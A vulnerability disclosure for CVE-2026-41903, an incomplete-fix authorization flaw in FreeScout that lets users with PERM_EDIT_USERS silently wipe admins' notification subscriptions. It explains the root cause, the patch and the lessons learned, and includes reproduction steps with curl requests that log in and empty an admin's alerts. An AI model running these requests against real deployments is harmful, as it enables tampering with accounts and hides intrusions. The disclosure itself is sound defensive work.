A user with
PERM_EDIT_USERScan read and silently rewrite any other user's notification preferences — including admins. Incomplete fix of CVE-2025-48472.
| CVE | CVE-2026-41903 (NVD) |
| GHSA | GHSA-f489-qxv6-gvgg |
| Severity | Moderate — CVSS 5.4 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L |
| CWE | CWE-863: Incorrect Authorization |
| Affected | FreeScout < 1.8.217 |
| Fixed | 1.8.217 |
| Authentication | Authenticated user with PERM_EDIT_USERS |
| Reporter | @whatisproblem |
| Related | CVE-2025-48472 — same root, different sink |
CVE-2025-48472 fixed an IDOR on UsersController@permissions: any user with PERM_EDIT_USERS could rewrite another user's role / permissions. The fix added an explicit ownership check on that one method — but it did not fix the underlying policy.
UsersController@notificationsSave is a sibling method on the same controller that:
- Loads the target user from the route parameter.
- Uses the same
UserPolicy@updatepolicy gate. - Writes the target user's notification subscriptions.
UserPolicy@update permits any caller holding PERM_EDIT_USERS, with no per-target identity check. So a low-privileged user (typically a "supervisor"-tier account that legitimately needs to edit itself + onboard new users) can issue a single POST and silently mute any admin's email/browser/mobile alerts — including the ones that fire on suspicious login, SMTP test failures, conversation escalation, etc.
This is a textbook example of a fix that addressed the symptom (one method) instead of the cause (the policy).
app/Policies/UserPolicy.php (paraphrased):
public function update(User $caller, User $target)
{
return $caller->isAdmin()
|| $caller->hasPermission(User::PERM_EDIT_USERS);
// missing: || $caller->id === $target->id-style scoping
}app/Http/Controllers/UsersController.php — notificationsSave():
public function notificationsSave($id, Request $request)
{
$user = User::findOrFail($id);
$this->authorize('update', $user); // <-- the broad policy
// sync notification subscriptions for $user from $request input
Subscription::saveFromArray($request->input('subscriptions', []), $user->id);
return redirect()->back()->with('flash_success', __('Notifications updated'));
}What the original CVE-2025-48472 patch did correctly on permissions():
// permissions() — patched form, paraphrased
if (!$caller->isAdmin() && $caller->id !== $user->id) {
abort(403);
}…but the equivalent guard was never added to notificationsSave(), emailSave(), or other methods that share the UserPolicy@update gate. The IDOR survived on those siblings.
This is rated Moderate (5.4) rather than High because:
- Confidentiality: None — the response doesn't leak the target's existing subscriptions content (the form GET is gated separately).
- Integrity: Low — the attacker can only flip subscription booleans, not arbitrary fields.
- Availability: Low — alerts that admins rely on (e.g. "new ticket assigned to me", "mailbox SMTP failure") can be silenced.
The realistic scenario: an attacker who already compromised a low-priv PERM_EDIT_USERS account uses this as a stealth primitive before pivoting — turning off the admin's "suspicious login" / "new admin created" / "conversation escalated" alerts so subsequent actions go unnoticed. It is a defense-in-depth weakener, not a direct breach. But it is exploitable in seconds and the fix is one line.
git clone https://github.com/freescout-help-desk/freescout
cd freescout && git checkout 1.8.216
docker compose up -dCreate two users:
admin@example.com— full admineditor@example.com— no admin role, but holdsPERM_EDIT_USERS
curl -c jar.txt -b jar.txt -L \
-X POST http://localhost:8080/login \
-d "email=editor@example.com&password=..."Trivial: enumerate /users/{id} until one shows the admin badge, or read it from any conversation page where the admin is the assignee. Call this <ADMIN_ID>.
curl -b jar.txt -X POST \
http://localhost:8080/users/<ADMIN_ID>/notifications \
-H "X-CSRF-TOKEN: <csrf>" \
--data-urlencode 'subscriptions[]=' # empty -> all subscriptions wipedA 302 redirect with flash_success confirms the write. Inspect the DB:
SELECT * FROM subscriptions WHERE user_id = <ADMIN_ID>;
-- (empty)The admin no longer receives any alerts they had previously enabled.
The same primitive works on every method that uses UserPolicy@update and takes a {id} route param. permissions() is now correctly guarded post-CVE-2025-48472, but notificationsSave() (and any newly added sibling) is not.
Patched in 1.8.217. The minimal correct fix is on the policy, not the controller:
public function update(User $caller, User $target)
{
if ($caller->isAdmin()) return true;
if ($caller->id === $target->id) return true; // self-edit
return false;
// PERM_EDIT_USERS callers must use a *separate*, narrower policy method
// for cross-user writes (e.g. permissionsAsManager()), with explicit
// scope (only non-admins, only within their team, etc.).
}Adding the caller->id === target->id guard at the policy level — and refactoring callers that genuinely need cross-user write access to use a purpose-specific policy method — closes this entire class of bug instead of only the most-recently-noticed instance.
- 2026-04-17/18 — Discovered as variant of CVE-2025-48472 during automated audit.
- 2026-04-18 — Reported privately via GHSA Draft.
- 2026-04 — Patched in
1.8.217. - 2026-07-17 (planned) — Public write-up published.
- An incomplete fix is a sustained vulnerability with a sleep timer. When CVE-2025-48472 was patched at the controller level instead of the policy level, every sibling controller method became a future CVE. CVE-2026-41903 is the bill coming due.
- When you patch one method, audit every method that shares the same policy gate. The original fix should have been a policy refactor; the controller-level guard was an over-fitted patch.
- Variant analysis is high-yield. This class of finding (pull a CVE, find what the fix missed) is one of the most reliable sources of new CVEs, and tooling can do most of it (which is how this one was found).
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-41903
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41903
- GHSA (this CVE): https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-f489-qxv6-gvgg
- GHSA (parent CVE-2025-48472): https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-rg54-q839-rh67
- CWE-863: https://cwe.mitre.org/data/definitions/863.html